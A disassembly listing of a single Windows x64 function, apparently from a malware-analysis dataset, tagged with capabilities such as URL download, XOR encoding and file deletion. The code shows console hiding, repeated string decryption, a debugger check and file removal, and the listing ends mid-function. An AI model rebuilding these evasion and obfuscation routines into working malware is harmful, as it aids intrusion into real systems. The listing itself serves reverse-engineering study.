Function at 0x14006b8b0
Capabilities:
Create thread
Delete file
Download url
Encode data using xor
Get common file path
Receive data
Set file attributes
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x958]
sub rsp, 0xa20
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
movaps xmmword [rax - 0x88], xmm10
movaps xmmword [rax - 0x98], xmm11
movaps xmmword [rax - 0xa8], xmm12
movaps xmmword [rax - 0xb8], xmm13
movaps xmmword [rax - 0xc8], xmm14
movaps xmmword [rax - 0xd8], xmm15
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x14004cb80]
lea rcx, [rbp + 0x68]
call fcn.1400826d0
nop
lea rcx, [rbp + 0x68]
call fcn.140043980
nop
cmp dword [rbp + 0x70], esi
je 0x14006b94c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
movups xmm0, xmmword [0x1400dca48]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400dca58]
movups xmmword [rbp - 0x10], xmm1
mov r15d, dword [reloc.WS2_32.dll_accept]
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x14006bb03
cmp r15d, 2
jl 0x14006bac7
movdqa xmm5, xmmword [0x1400dfdd0]
mov edx, esi
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x1c]
mov r8d, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x14006b9c0
jmp 0x14006bb03
lea r9, [rbp - 0x20]
mov r8d, esi
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x14006bad0
movzx edx, byte [rbp + 0x970]
lea rcx, [rbp + 0x168]
call fcn.14004cea0
nop
lea rax, [rbp - 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14006bb22
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x168]
call fcn.14004cff0
nop
lea rcx, [rbp + 0x168]
call fcn.140049fd0
movzx ebx, al
lea rcx, [rbp + 0x168]
call fcn.14007a0e0
test bl, bl
je 0x14006bd0d
movups xmm0, xmmword [0x1400dca48]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400dca58]
movups xmmword [rbp - 0x10], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x14006bd03
cmp r15d, 2
jl 0x14006bcc9
movdqa xmm5, xmmword [0x1400dfdd0]
mov edx, esi
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x1c]
mov r8d, dword [rsp + 0x70]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x14006bbc2
jmp 0x14006bd03
lea r9, [rbp - 0x20]
mov r8d, esi
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x14006bcd0
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140056750]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140126fb0], rax
test rax, rax
je 0x14007644c
call fcn.140069200
test eax, eax
jne 0x14006c06c
lea rdx, [rbp - 0x3c]
lea rcx, [rbp + 0x970]
call fcn.1400564e0
mov rbx, rax
cmp byte [rax + 0xb], 0
je 0x14006beb3
mov r12d, esi
cmp r15d, 2
jl 0x14006be73
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movd dword [rbx], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r12d, 8
movsxd r8, r12d
add r8, rbx
nop dword [rax]
mov eax, 0x8fb823ef
imul r12d
add edx, r12d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r12b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0xc
jl 0x14006be80
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x978]
call fcn.140076460
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14006c04f
cmp r15d, 2
jl 0x14006c01a
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x14006bf10
cmp eax, 0x19
jge 0x14006c04f
movsxd r8, esi
add r8, r10
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, sil
sub al, cl
add al, 0x32
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x19
jl 0x14006c020
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14006c083
call fcn.14004cf40
test eax, eax
jne 0x14007644c
call fcn.140056530
lea r9, [rbp + 0x208]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400cb0c0]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x14006c419
mov r8d, 0x104
lea rdx, [rbp + 0x450]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14006c40c
mov rdx, qword [rbp + 0x208]
lea rcx, [rbp + 0x450]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x14006c40c
lea rdx, [rbp - 0x3c]
lea rcx, [rbp + 0x970]
call fcn.1400564e0
mov rbx, rax
cmp byte [rax + 0xb], 0
je 0x14006c253
mov r12d, esi
cmp r15d, 2
jl 0x14006c20f
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movd dword [rbx], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r12d, 8
movsxd r8, r12d
add r8, rbx
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r12d
add edx, r12d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r12b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0xc
jl 0x14006c220
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x978]
call fcn.140076490
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x14006c3ef
cmp r15d, 2
jl 0x14006c3ba
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x14006c2b0
cmp eax, 0x1a
jge 0x14006c3ef
movsxd r8, esi
add r8, r10
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, sil
sub al, cl
add al, 0x32
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x1a
jl 0x14006c3c0
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
movups xmm0, xmmword [str.q_thgSD_M]
movups xmmword [rbp + 0x68], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14006c5b3
cmp r15d, 2
jl 0x14006c577
movdqa xmm5, xmmword [0x1400dfdd0]
mov edx, esi
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x6c]
mov r8d, dword [rsp + 0x70]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14006c470
jmp 0x14006c5b3
lea r9, [rbp + 0x68]
mov r8d, esi
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14006c580
movzx edx, byte [rbp + 0x970]
lea rcx, [rbp - 0x20]
call fcn.14004cea0
nop
lea rax, [rbp + 0x68]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14006c5d0
lea rdx, [rbp + 0x68]
lea rcx, [rbp - 0x20]
call fcn.14004cff0
nop
lea rcx, [rbp - 0x20]
call fcn.140049fd0
movzx ebx, al
lea rcx, [rbp - 0x20]
call fcn.14007a0e0
test bl, bl
je 0x14006c7bf
mov byte [0x140126fc2], 1
movups xmm0, xmmword [str.q_thgSD_M]
movups xmmword [rbp + 0x68], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14006c7b3
cmp r15d, 2
jl 0x14006c774
movdqa xmm5, xmmword [0x1400dfdd0]
mov edx, esi
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x6c]
mov r8d, dword [rsp + 0x70]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14006c663
lea rcx, [rbp + 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
jmp 0x14006c7c6
lea r9, [rbp + 0x68]
mov r8d, esi
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14006c780
lea rcx, [rbp + 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
jmp 0x14006c7c6
mov byte [0x140126fc2], 0
call fcn.14008be80
mov rdi, rax
test rax, rax
je 0x14007612c
movups xmm0, xmmword [0x1400dd830]
movups xmmword [rbp + 0x21], xmm0
movups xmm1, xmmword [0x1400dd840]
movups xmmword [rbp + 0x31], xmm1
movups xmm0, xmmword [0x1400dd850]
movups xmmword [rbp + 0x41], xmm0
movups xmm1, xmmword [0x1400dd860]
movups xmmword [rbp + 0x51], xmm1
mov eax, dword [0x1400dd870]
mov dword [rbp + 0x61], eax
movzx eax, word [0x1400dd874]
mov word [rbp + 0x65], ax
mov r8d, esi
cmp r15d, 2
jl 0x14006c95f
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x25]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x14006c852
cmp r8d, 0x46
jge 0x14006c9a3
movsxd rax, r8d
lea r9, [rbp + 0x21]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x46
jl 0x14006c970
movzx edx, byte [rbp + 0x970]
lea rcx, [rbp + 0x68]
call fcn.14004cea0
nop
lea rax, [rbp + 0x21]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14006c9c0
lea rdx, [rbp + 0x21]
lea rcx, [rbp + 0x68]
call fcn.14004cff0
nop
movzx edx, byte [rbp + 0x970]
lea rcx, [rbp + 0x168]
call fcn.14004cea0
lea rcx, [rbp + 0x168]
call fcn.14004cec0
nop
lea rcx, [rbp + 0x68]
call fcn.140079ec0
mov r8, rax
mov edx, 0x2712
mov rcx, rdi
call fcn.14008bf40
lea r8, [0x1400481c0]
mov edx, 0x4e2b
mov rcx, rdi
call fcn.14008bf40
lea r8, [rbp + 0x168]
mov edx, 0x2711
mov rcx, rdi
call fcn.14008bf40
mov rcx, rdi
call fcn.14008bf30
mov ebx, eax
mov rcx, rdi
call fcn.14008be40
test ebx, ebx
jne 0x140075e0c
movsd xmm0, qword [str.dVFF_XV]
movsd qword [rbp + 0x14], xmm0
mov eax, dword [str.hZHX_]
mov dword [rbp + 0x1c], eax
movzx eax, byte [0x1400dd4a4]
mov byte [rbp + 0x20], al
mov r8d, esi
lea r12d, [rbx + 8]
cmp r15d, 2
jl 0x14006cb88
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
